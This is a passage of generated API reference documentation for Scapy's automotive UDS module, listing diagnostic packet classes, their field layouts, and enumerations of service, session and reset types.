+-+-+-+-+-+-+-+-+

                             Fig. UDS                             


UDS fields






	service

	XByteEnumField

	0











	
hashret() → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L125-L129]

	




	
modify_ecu_state(req: Packet, state: Packet) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_ecu_states.py#L75-L83]

	




	
payload_guess

	Possible sublayers:
DEV_JOB_PR, DEV_JOB, ENMT_REQ, IOCBLI_REQ, RDBLI_REQ, RDS2TCM_REQ, RDTCBS_REQ, REI_IDENT_REQ, RRRBA_REQ, RRRBLI_REQ, RSODTC_REQ, SPRBA_REQ, SPRBLI_REQ, STRBA_REQ, UDS2S_REQ, WDBLI_REQ, UDS_ATPPR, UDS_ATP, UDS_AUTHPR, UDS_AUTH, UDS_CCPR, UDS_CC, UDS_CDTCIPR, UDS_CDTCI, UDS_CDTCSPR, UDS_CDTCS, UDS_DDDIPR, UDS_DDDI, UDS_DSCPR, UDS_DSC, UDS_ERPR, UDS_ER, UDS_IOCBIPR, UDS_IOCBI, UDS_LCPR, UDS_LC, UDS_NR, UDS_RCPR, UDS_RC, UDS_RDBIPR, UDS_RDBI, UDS_RDBPIPR, UDS_RDBPI, UDS_RDPR, UDS_RDTCIPR, UDS_RDTCI, UDS_RD, UDS_RFTPR, UDS_RFT, UDS_RMBAPR, UDS_RMBA, UDS_ROEPR, UDS_ROE, UDS_RSDBIPR, UDS_RSDBI, UDS_RTEPR, UDS_RTE, UDS_RUPR, UDS_RU, UDS_SAPR, UDS_SA, UDS_SDTPR, UDS_SDT, UDS_TDPR, UDS_TD, UDS_TPPR, UDS_TP, UDS_WDBIPR, UDS_WDBI, UDS_WMBAPR, UDS_WMBA






	
services: Dict[int, str] = {16: 'DiagnosticSessionControl', 17: 'ECUReset', 20: 'ClearDiagnosticInformation', 23: 'ReadStatusOfDTC', 24: 'ReadDTCByStatus', 25: 'ReadDTCInformation', 26: 'ReadECUIdentification', 33: 'ReadDataByLocalIdentifier', 34: 'ReadDataByIdentifier', 35: 'ReadMemoryByAddress', 36: 'ReadScalingDataByIdentifier', 39: 'SecurityAccess', 40: 'CommunicationControl', 41: 'EnableNormalMessageTransmission', 42: 'ReadDataPeriodicIdentifier', 44: 'DynamicallyDefineDataIdentifier', 46: 'WriteDataByIdentifier', 47: 'InputOutputControlByIdentifier', 48: 'InputOutputControlByLocalIdentifier', 49: 'RoutineControl', 50: 'StopRoutineByLocalIdentifier', 51: 'RequestRoutineResultsByLocalIdentifier', 52: 'RequestDownload', 53: 'RequestUpload', 54: 'TransferData', 55: 'RequestTransferExit', 56: 'StartRoutineByAddress', 57: 'StopRoutineByAddress', 58: 'RequestRoutineResultsByAddress', 59: 'WriteDataByLocalIdentifier', 61: 'WriteMemoryByAddress', 62: 'TesterPresent', 80: 'DiagnosticSessionControlPositiveResponse', 81: 'ECUResetPositiveResponse', 84: 'ClearDiagnosticInformationPositiveResponse', 89: 'ReadDTCInformationPositiveResponse', 98: 'ReadDataByIdentifierPositiveResponse', 99: 'ReadMemoryByAddressPositiveResponse', 100: 'ReadScalingDataByIdentifierPositiveResponse', 103: 'SecurityAccessPositiveResponse', 104: 'CommunicationControlPositiveResponse', 105: 'AuthenticationPositiveResponse', 106: 'ReadDataPeriodicIdentifierPositiveResponse', 108: 'DynamicallyDefineDataIdentifierPositiveResponse', 110: 'WriteDataByIdentifierPositiveResponse', 111: 'InputOutputControlByIdentifierPositiveResponse', 113: 'RoutineControlPositiveResponse', 116: 'RequestDownloadPositiveResponse', 117: 'RequestUploadPositiveResponse', 118: 'TransferDataPositiveResponse', 119: 'RequestTransferExitPositiveResponse', 120: 'RequestFileTransferPositiveResponse', 125: 'WriteMemoryByAddressPositiveResponse', 126: 'TesterPresentPositiveResponse', 127: 'NegativeResponse', 131: 'AccessTimingParameter', 132: 'SecuredDataTransmission', 133: 'ControlDTCSetting', 134: 'ResponseOnEvent', 135: 'LinkControl', 160: 'ReadDS2TroubleCodeMemory', 165: 'UnpackDS2Service', 191: 'DevelopmentJob', 195: 'AccessTimingParameterPositiveResponse', 196: 'SecuredDataTransmissionPositiveResponse', 197: 'ControlDTCSettingPositiveResponse', 198: 'ResponseOnEventPositiveResponse', 199: 'LinkControlPositiveResponse', 255: 'DevelopmentJobPositiveResponse'}

	








	
class scapy.contrib.automotive.uds.UDS_ATP(_pkt, /, *, timingParameterAccessType=0, timingParameterRequestRecord=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L468-L482]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|TIMINGPARAMETER|  TIMINGPARAMETERREQUESTRECORD |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. UDS_ATP                           


UDS_ATP fields






	timingParameterAccessType

	ByteEnumField

	0



	timingParameterRequestRecord

	StrField (Cond)

	b''











	
timingParameterAccessTypes = {0: 'ISOSAEReserved', 1: 'readExtendedTimingParameterSet', 2: 'setTimingParametersToDefaultValues', 3: 'readCurrentlyActiveTimingParameters', 4: 'setTimingParametersToGivenValues'}

	








	
class scapy.contrib.automotive.uds.UDS_ATPPR(_pkt, /, *, timingParameterAccessType=0, timingParameterResponseRecord=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L488-L500]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L497-L500]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|TIMINGPARAMETER| TIMINGPARAMETERRESPONSERECORD |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. UDS_ATPPR                          


UDS_ATPPR fields






	timingParameterAccessType

	ByteEnumField

	0



	timingParameterResponseRecord

	StrField (Cond)

	b''















	
class scapy.contrib.automotive.uds.UDS_AUTH(_pkt, /, *, subFunction=0, communicationConfiguration=0, certificateEvaluationId=0, algorithmIndicator=0, lengthOfCertificateClient=None, certificateClient=b'', lengthOfProofOfOwnershipClient=None, proofOfOwnershipClient=b'', lengthOfChallengeClient=None, challengeClient=b'', lengthOfEphemeralPublicKeyClient=None, ephemeralPublicKeyClient=b'', lengthOfCertificateData=None, certificateData=b'', lengthOfAdditionalParameter=None, additionalParameter=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L288-L357]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SUBFUNCTION  |COMMUNICATIONCO|    CERTIFICATEEVALUATIONID    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       ALGORITHMINDICATOR                      |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   LENGTHOFCERTIFICATECLIENT   |       CERTIFICATECLIENT       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| LENGTHOFPROOFOFOWNERSHIPCLIENT|     PROOFOFOWNERSHIPCLIENT    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    LENGTHOFCHALLENGECLIENT    |        CHALLENGECLIENT        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|LENGTHOFEPHEMERALPUBLICKEYCLIEN|    EPHEMERALPUBLICKEYCLIENT   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    LENGTHOFCERTIFICATEDATA    |        CERTIFICATEDATA        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  LENGTHOFADDITIONALPARAMETER  |      ADDITIONALPARAMETER      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. UDS_AUTH                           


UDS_AUTH fields






	subFunction

	ByteEnumField

	0



	communicationConfiguration

	XByteField (Cond)

	0



	certificateEvaluationId

	XShortField (Cond)

	0



	algorithmIndicator

	XStrFixedLenField (Cond)

	0



	lengthOfCertificateClient

	FieldLenField (Cond)

	None



	certificateClient

	XStrLenField (Cond)

	b''



	lengthOfProofOfOwnershipClient

	FieldLenField (Cond)

	None



	proofOfOwnershipClient

	XStrLenField (Cond)

	b''



	lengthOfChallengeClient

	FieldLenField (Cond)

	None



	challengeClient

	XStrLenField (Cond)

	b''



	lengthOfEphemeralPublicKeyClient

	FieldLenField (Cond)

	None



	ephemeralPublicKeyClient

	XStrLenField (Cond)

	b''



	lengthOfCertificateData

	FieldLenField (Cond)

	None



	certificateData

	XStrLenField (Cond)

	b''



	lengthOfAdditionalParameter

	FieldLenField (Cond)

	None



	additionalParameter

	XStrLenField (Cond)

	b''











	
subFunctions = {0: 'deAuthenticate', 1: 'verifyCertificateUnidirectional', 2: 'verifyCertificateBidirectional', 3: 'proofOfOwnership', 4: 'transmitCertificate', 5: 'requestChallengeForAuthentication', 6: 'verifyProofOfOwnershipUnidirectional', 7: 'verifyProofOfOwnershipBidirectional', 8: 'authenticationConfiguration', 127: 'ISOSAEReserved'}

	








	
class scapy.contrib.automotive.uds.UDS_AUTHPR(_pkt, /, *, subFunction=0, returnValue=0, algorithmIndicator=0, lengthOfChallengeServer=None, challengeServer=b'', lengthOfCertificateServer=None, certificateServer=b'', lengthOfProofOfOwnershipServer=None, proofOfOwnershipServer=b'', lengthOfSessionKeyInfo=None, sessionKeyInfo=b'', lengthOfEphemeralPublicKeyServer=None, ephemeralPublicKeyServer=b'', lengthOfNeededAdditionalParameter=None, neededAdditionalParameter=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L363-L437]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L435-L437]

	




	
authenticationReturnParameterTypes = {0: 'requestAccepted', 1: 'generalReject', 2: 'authenticationConfigurationAPCE', 3: 'authenticationConfigurationACRWithAsymmetricCryptography', 4: 'authenticationConfigurationACRWithSymmetricCryptography', 5: 'ISOSAEReserved', 15: 'ISOSAEReserved', 16: 'deAuthenticationSuccessful', 17: 'certificateVerifiedOwnershipVerificationNecessary', 18: 'ownershipVerifiedAuthenticationComplete', 19: 'certificateVerified', 20: 'ISOSAEReserved', 159: 'ISOSAEReserved', 255: 'ISOSAEReserved'}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SUBFUNCTION  |  RETURNVALUE  |       ALGORITHMINDICATOR      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |    LENGTHOFCHALLENGESERVER    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        CHALLENGESERVER        |   LENGTHOFCERTIFICATESERVER   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       CERTIFICATESERVER       | LENGTHOFPROOFOFOWNERSHIPSERVER|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     PROOFOFOWNERSHIPSERVER    |     LENGTHOFSESSIONKEYINFO    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         SESSIONKEYINFO        |LENGTHOFEPHEMERALPUBLICKEYSERVE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    EPHEMERALPUBLICKEYSERVER   |LENGTHOFNEEDEDADDITIONALPARAMET|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   NEEDEDADDITIONALPARAMETER   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. UDS_AUTHPR                          


UDS_AUTHPR fields






	subFunction

	ByteEnumField

	0



	returnValue

	ByteEnumField

	0



	algorithmIndicator

	XStrFixedLenField (Cond)

	0



	lengthOfChallengeServer

	FieldLenField (Cond)

	None



	challengeServer

	XStrLenField (Cond)

	b''



	lengthOfCertificateServer

	FieldLenField (Cond)

	None



	certificateServer

	XStrLenField (Cond)

	b''



	lengthOfProofOfOwnershipServer

	FieldLenField (Cond)

	None



	proofOfOwnershipServer

	XStrLenField (Cond)

	b''



	lengthOfSessionKeyInfo

	FieldLenField (Cond)

	None



	sessionKeyInfo

	XStrLenField (Cond)

	b''



	lengthOfEphemeralPublicKeyServer

	FieldLenField (Cond)

	None



	ephemeralPublicKeyServer

	XStrLenField (Cond)

	b''



	lengthOfNeededAdditionalParameter

	FieldLenField (Cond)

	None



	neededAdditionalParameter

	XStrLenField (Cond)

	b''















	
class scapy.contrib.automotive.uds.UDS_CC(_pkt, /, *, controlType=0, communicationType0=0, communicationType1=0, communicationType2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L233-L267]

	Bases: Packet


	
aliastypes

	




	
controlTypes = {0: 'enableRxAndTx', 1: 'enableRxAndDisableTx', 2: 'disableRxAndEnableTx', 3: 'disableRxAndTx'}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  CONTROLTYPE  |COM|COM|COMMUNI|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. UDS_CC                            


UDS_CC fields






	controlType

	ByteEnumField

	0



	communicationType0

	BitEnumField

	0



	communicationType1

	BitField  (2 bits)

	0



	communicationType2

	BitEnumField

	0















	
class scapy.contrib.automotive.uds.UDS_CCPR(_pkt, /, *, controlType=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L273-L281]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L279-L281]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  CONTROLTYPE  |
+-+-+-+-+-+-+-+-+

                          Fig. UDS_CCPR                           


UDS_CCPR fields






	controlType

	ByteEnumField

	0











	
modify_ecu_state(req: Packet, state: Packet) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_ecu_states.py#L49-L52]

	








	
class scapy.contrib.automotive.uds.UDS_CDTCI(_pkt, /, *, groupOfDTCHighByte=0, groupOfDTCMiddleByte=0, groupOfDTCLowByte=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L940-L946]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|GROUPOFDTCHIGHB|GROUPOFDTCMIDDL|GROUPOFDTCLOWBY|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. UDS_CDTCI                          


UDS_CDTCI fields






	groupOfDTCHighByte

	ByteField

	0



	groupOfDTCMiddleByte

	ByteField

	0



	groupOfDTCLowByte

	ByteField

	0















	
class scapy.contrib.automotive.uds.UDS_CDTCIPR(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L952-L956]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L955-L956]

	








	
class scapy.contrib.automotive.uds.UDS_CDTCS(_pkt, /, *, DTCSettingType=0, DTCSettingControlOptionRecord=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L555-L565]

	Bases: Packet


	
DTCSettingTypes = {0: 'ISOSAEReserved', 1: 'on', 2: 'off'}

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| DTCSETTINGTYPE| DTCSETTINGCONTROLOPTIONRECORD |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. UDS_CDTCS                          


UDS_CDTCS fields






	DTCSettingType

	ByteEnumField

	0



	DTCSettingControlOptionRecord

	StrField

	b''















	
class scapy.contrib.automotive.uds.UDS_CDTCSPR(_pkt, /, *, DTCSettingType=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L571-L578]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L577-L578]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| DTCSETTINGTYPE|
+-+-+-+-+-+-+-+-+

                         Fig. UDS_CDTCSPR                         


UDS_CDTCSPR fields






	DTCSettingType

	ByteEnumField

	0















	
class scapy.contrib.automotive.uds.UDS_DDDI(_pkt, /, *, subFunction=0, dataRecord=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L797-L805]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SUBFUNCTION  |   DATARECORD  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. UDS_DDDI                           


UDS_DDDI fields






	subFunction

	ByteEnumField

	0



	dataRecord

	StrField

	b''











	
subFunctions = {1: 'defineByIdentifier', 2: 'defineByMemoryAddress', 3: 'clearDynamicallyDefinedDataIdentifier'}

	








	
class scapy.contrib.automotive.uds.UDS_DDDIPR(_pkt, /, *, subFunction=0, dynamicallyDefinedDataIdentifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L811-L820]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L818-L820]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SUBFUNCTION  |DYNAMICALLYDEFINEDDATAIDENTIFIE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. UDS_DDDIPR                          


UDS_DDDIPR fields






	subFunction

	ByteEnumField

	0



	dynamicallyDefinedDataIdentifier

	XShortField

	0















	
class scapy.contrib.automotive.uds.UDS_DSC(_pkt, /, *, diagnosticSessionType=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L133-L144]

	Bases: Packet


	
aliastypes

	




	
diagnosticSessionTypes = {0: 'ISOSAEReserved', 1: 'defaultSession', 2: 'programmingSession', 3: 'extendedDiagnosticSession', 4: 'safetySystemDiagnosticSession', 127: 'ISOSAEReserved', 129: 'defaultMode-StandardDiagnosticMode-OBDIIMode', 130: 'periodicTransmissions', 131: 'BMW_NOTtoBeImplemented_endOfLineVehicleManufacturerMode', 132: 'endOfLineSystemSupplierMode', 133: 'ECUProgrammingMode', 134: 'ECUDevelopmentMode', 135: 'ECUAdjustmentMode', 136: 'ECUVariantCodingMode', 137: 'BMW_ECUsafetyMode'}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|DIAGNOSTICSESSI|
+-+-+-+-+-+-+-+-+

                           Fig. UDS_DSC                           


UDS_DSC fields






	diagnosticSessionType

	ByteEnumField

	0















	
class scapy.contrib.automotive.uds.UDS_DSCPR(_pkt, /, *, diagnosticSessionType=0, sessionParameterRecord=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L150-L160]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L158-L160]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|DIAGNOSTICSESSI|     SESSIONPARAMETERRECORD    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. UDS_DSCPR                          


UDS_DSCPR fields






	diagnosticSessionType

	ByteEnumField

	0



	sessionParameterRecord

	StrField

	b''











	
modify_ecu_state(req: Packet, state: Packet) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_ecu_states.py#L20-L27]

	








	
class scapy.contrib.automotive.uds.UDS_ER(_pkt, /, *, resetType=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L167-L180]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   RESETTYPE   |
+-+-+-+-+-+-+-+-+

                           Fig. UDS_ER                            


UDS_ER fields






	resetType

	ByteEnumField

	0











	
resetTypes = {0: 'ISOSAEReserved', 1: 'hardReset', 2: 'keyOffOnReset', 3: 'softReset', 4: 'enableRapidPowerShutDown', 5: 'disableRapidPowerShutDown', 65: 'powerDown', 127: 'ISOSAEReserved'}

	








	
class scapy.contrib.automotive.uds.UDS_ERPR(_pkt, /, *, resetType=0, powerDownTime=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L186-L195]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L194-L195]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   RESETTYPE   | POWERDOWNTIME |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. UDS_ERPR                           


UDS_ERPR fields






	resetType

	ByteEnumField

	0



	powerDownTime

	ByteField (Cond)

	0











	
modify_ecu_state(req: Packet, state: Packet) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_ecu_states.py#L30-L34]

	








	
class scapy.contrib.automotive.uds.UDS_IOCBI(_pkt, /, *, dataIdentifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1410-L1414]

	Bases: Packet


	
aliastypes
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fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         DATAIDENTIFIER        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. UDS_IOCBI                          


UDS_IOCBI fields






	dataIdentifier

	XShortEnumField

	0















	
class scapy.contrib.automotive.uds.UDS_IOCBIPR(_pkt, /, *, dataIdentifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1420-L1428]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1426-L1428]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         DATAIDENTIFIER        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. UDS_IOCBIPR                         


UDS_IOCBIPR fields






	dataIdentifier

	XShortEnumField

	0















	
class scapy.contrib.automotive.uds.UDS_LC(_pkt, /, *, linkControlType=0, baudrateIdentifier=0, baudrateHighByte=0, baudrateMiddleByte=0, baudrateLowByte=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L620-L638]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|LINKCONTROLTYPE|BAUDRATEIDENTIF|BAUDRATEHIGHBYT|BAUDRATEMIDDLEB|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BAUDRATELOWBYTE|
+-+-+-+-+-+-+-+-+

                           Fig. UDS_LC                            


UDS_LC fields






	linkControlType

	ByteEnumField

	0



	baudrateIdentifier

	ByteField (Cond)

	0



	baudrateHighByte

	ByteField (Cond)

	0



	baudrateMiddleByte

	ByteField (Cond)

	0



	baudrateLowByte

	ByteField (Cond)

	0











	
linkControlTypes = {0: 'ISOSAEReserved', 1: 'verifyBaudrateTransitionWithFixedBaudrate', 2: 'verifyBaudrateTransitionWithSpecificBaudrate', 3: 'transitionBaudrate'}

	








	
class scapy.contrib.automotive.uds.UDS_LCPR(_pkt, /, *, linkControlType=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L644-L652]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L650-L652]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
